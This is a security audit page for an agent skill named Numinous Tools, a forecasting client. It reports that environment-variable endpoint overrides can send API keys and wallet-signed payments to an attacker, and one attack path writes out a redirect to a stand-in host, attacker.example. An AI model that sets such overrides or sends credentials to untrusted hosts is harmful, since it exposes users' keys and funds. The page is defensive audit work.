Back to skill

Security audit

Numinous Tools

Security checks for vulnerabilities and agentic risk

Overview

The skill is a coherent Numinous forecasting client, but it deserves review because it handles API keys and wallet signing while allowing endpoint overrides and unpinned payment dependencies.

Install only if you are comfortable sending forecast questions, market interests, and API-key-authenticated requests to Numinous. Prefer the API-key route over wallet signing, leave endpoint override variables unset unless you are deliberately testing, use a dedicated low-balance wallet for x402, pin dependencies before running the wallet script, and keep API keys, private keys, and prediction IDs out of logs, screenshots, shared chats, and committed files.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (4)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/forecast.py:20
Finding

API Key Disclosure Through an Unvalidated Forecast API Endpoint

Content
View full analysis
str: status, body = _request( "POST", f"{BASE_URL}{JOBS_PATH}", {"Content-Type": "application/json", "X-API-Key": api_key}, payload, ) ``` ### Technical Analysis The script reads the forecast service base URL from `NUMINOUS_BASE_URL` and sends the `NUMINOUS_API_KEY` to that destination without validating its scheme, hostname, port, or trust boundary. A modified process environment, shell profile, `.env` loader, CI configuration, or invocation wrapper can set this value to an attacker-controlled URL. The script will then place the API key in the `X-API-Key` header and send the user's forecast query or structured event description to that server. It also does not require HTTPS, so a plaintext HTTP endpoint could expose both values in transit. A configurable endpoint can be useful for development, but production credentials should not be attached to arbitrary destinations. This behavior exceeds minimum privilege because endpoint customization unnecessarily retains access to the user's real API credential. ### Attack Path 1. An attacker or compromised local configuration sets: ```bash export NUMINOUS_BASE_URL=https://attacker.example ``` 2. The user runs `scripts/forecast.py` with a forecast question. 3. `submit()` constructs the request using the attacker-controlled base URL. 4. The script sends `X-API-Key: ` and the forecast payload to the attacker. 5. The attacker captures the credential and may use it against the legitimate Numinous API until it is revoked. ### Impact Assessment Successful exploitation can disclose: - The user's Numinous API key. - P ...[truncated 387 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/signals.py:21
Finding

API Key and User Query Disclosure Through an Unvalidated Signals Endpoint

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/forecast_x402.py:38
Finding

Unvalidated x402 Payment Terms and Destination Expose Wallet Funds

Content
View full analysis
str: client = x402Client() register_exact_evm_client(client, EthAccountSigner(account)) async with x402HttpxClient(client, timeout=120) as http: resp = await http.post(f"{BASE_URL}{JOBS_PATH}", json=payload) await resp.aread() ``` ### Technical Analysis The script registers an EVM signer backed by a private key and then contacts a server selected through the unrestricted `NUMINOUS_BASE_URL` environment variable. The x402 client automatically processes a payment-required response, signs the corresponding authorization, and retries the request. The script does not independently verify the payment requirements before signing. In particular, it does not pin or validate: - The server hostname. - The Base network identifier. - The expected USDC token contract. - The intended payment recipient. - The exact or maximum authorized amount. - Redirect destinations. Although the private key is not explicitly transmitted, the remote service can influence what the locally held key signs. The documentation states that a forecast should cost `$0.10 USDC`, but this limit is not enforced by the script itself. ### Attack Path 1. An attacker modifies `NUMINOUS_BASE_URL` to point to a malicious x402-capable server. 2. The user runs `forecast_x402.py` with a funded wallet private key in the environment. 3. The script registers the wallet as an automatic x402 signer. 4. The malicious server returns crafted payment requirements. 5. The x402 library may construct and sign payment authorization based on those server-controlled t ...[truncated 946 chars]
Remediation
View remediation

T08 · Insecure Dependencies

Warning
Location
scripts/forecast_x402.py:13
Finding

Unpinned Third-Party Dependencies Run With Wallet Private-Key Access

Content
View full analysis
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (14)

Credential Access

High
Category
Privilege Escalation
Confidence
84% confidence
Finding

The reference states that polling forecast results requires no authentication and that the UUID prediction ID effectively serves as the access token. Treating a bearer-like identifier as the sole control can be risky because prediction IDs may leak via logs, analytics, referrers, chat transcripts, or multi-tenant agent state, enabling unauthorized access to forecast results.

Content

Scanner excerpt · reference.md (reported line 15)May include surrounding context.

md
| **x402 payment** | `PAYMENT-SIGNATURE: <proof>` (set by x402 client lib after reading 402 response) | forecast create only |
| **Browser session** | `access_token` JWT cookie (from eversight login) | `/credits/*`, `/api-keys/*`, chat, threads (not used from agents) |

Polling a forecast result (`GET /forecasters/prediction-jobs/{id}`) requires **no auth** — the UUID acts as the access token. Keep prediction IDs private.

Leaderboard, miner metadata, agent code, and `/credits/costs` are fully public.

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
94% confidence
Finding

The skill clearly instructs use of environment variables and outbound network access, but it declares no explicit tool scope or permissions metadata. That omission can cause an agent platform to grant broader capabilities implicitly or make review and policy enforcement harder, increasing the chance of secret access and unintended external requests.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 138)May include surrounding context.

bash
# Top miners (sorted by the active pool — currently global_brier by default)
curl -s "https://api.numinouslabs.io/api/v1/leaderboard?limit=10"

# A specific miner's agent versions
curl -s "https://api.numinouslabs.io/api/v1/miners/{miner_uid}/{miner_hotkey}/agents"

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 141)May include surrounding context.

bash
# Top miners (sorted by the active pool — currently global_brier by default)
curl -s "https://api.numinouslabs.io/api/v1/leaderboard?limit=10"

# A specific miner's agent versions
curl -s "https://api.numinouslabs.io/api/v1/miners/{miner_uid}/{miner_hotkey}/agents"

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 144)May include surrounding context.

bash
# Top miners (sorted by the active pool — currently global_brier by default)
curl -s "https://api.numinouslabs.io/api/v1/leaderboard?limit=10"

# A specific miner's agent versions
curl -s "https://api.numinouslabs.io/api/v1/miners/{miner_uid}/{miner_hotkey}/agents"

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 159)May include surrounding context.

bash
# Top miners (sorted by the active pool — currently global_brier by default)
curl -s "https://api.numinouslabs.io/api/v1/leaderboard?limit=10"

# A specific miner's agent versions
curl -s "https://api.numinouslabs.io/api/v1/miners/{miner_uid}/{miner_hotkey}/agents"

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 167)May include surrounding context.

bash
# Top miners (sorted by the active pool — currently global_brier by default)
curl -s "https://api.numinouslabs.io/api/v1/leaderboard?limit=10"

# A specific miner's agent versions
curl -s "https://api.numinouslabs.io/api/v1/miners/{miner_uid}/{miner_hotkey}/agents"

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 168)May include surrounding context.

bash
# Top miners (sorted by the active pool — currently global_brier by default)
curl -s "https://api.numinouslabs.io/api/v1/leaderboard?limit=10"

# A specific miner's agent versions
curl -s "https://api.numinouslabs.io/api/v1/miners/{miner_uid}/{miner_hotkey}/agents"

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · reference.md (reported line 358)May include surrounding context.

bash
# Top miners (sorted by the active pool — currently global_brier by default)
curl -s "https://api.numinouslabs.io/api/v1/leaderboard?limit=10"

# A specific miner's agent versions
curl -s "https://api.numinouslabs.io/api/v1/miners/{miner_uid}/{miner_hotkey}/agents"

External Transmission

Medium
Category
Data Exfiltration
Confidence
97% confidence
Finding

The x402 402-response example advertises a resource URL over plain HTTP rather than HTTPS. If clients follow or trust that URL or sign payment requests bound to an insecure transport endpoint, an attacker on the network path could tamper with metadata, downgrade transport security, or redirect requests in a payment-related flow.

Content

Scanner excerpt · reference.md (reported line 305)May include surrounding context.

md
"x402Version": 2,
  "error": "Payment required",
  "resource": {
    "url": "http://api.numinouslabs.io/api/v1/forecasters/prediction-jobs",
    "description": "Create a prediction job (paid via x402)",
    "mimeType": "application/json"
  },

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
77% confidence
Finding

The document states that polling forecast results requires no authentication and that the UUID effectively acts as an access token. Although it advises keeping prediction IDs private, it does not explicitly warn users that sharing or logging those IDs could expose forecast contents to anyone who possesses them.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
72% confidence
Finding

This markdown file lists sensitive environment variables including API keys and private keys. While it says never to commit them and to gitignore .env files, it does not warn about broader exposure risks such as shell history, process inspection, CI logs, or accidental user disclosure when using the skill.

Content

No source excerpt is available for this finding.

Dynamic attribute access via getattr()

Low
Category
Dangerous Code Execution
Confidence
50% confidence
Finding

Dynamic getattr() with a non-literal attribute name can access arbitrary object attributes, potentially bypassing access controls.

Content

Scanner excerpt · scripts/forecast.py (reported line 53)May include surrounding context.

python
if args.title or args.description or args.cutoff:
        missing = [
            f for f in ("title", "description", "cutoff") if not getattr(args, f)
        ]
        if missing:
            sys.exit(

Dynamic attribute access via getattr()

Low
Category
Dangerous Code Execution
Confidence
50% confidence
Finding

Dynamic getattr() with a non-literal attribute name can access arbitrary object attributes, potentially bypassing access controls.

Content

Scanner excerpt · scripts/forecast_x402.py (reported line 62)May include surrounding context.

python
if args.title or args.description or args.cutoff:
        missing = [
            f for f in ("title", "description", "cutoff") if not getattr(args, f)
        ]
        if missing:
            sys.exit(

Static analysis

No suspicious patterns detected.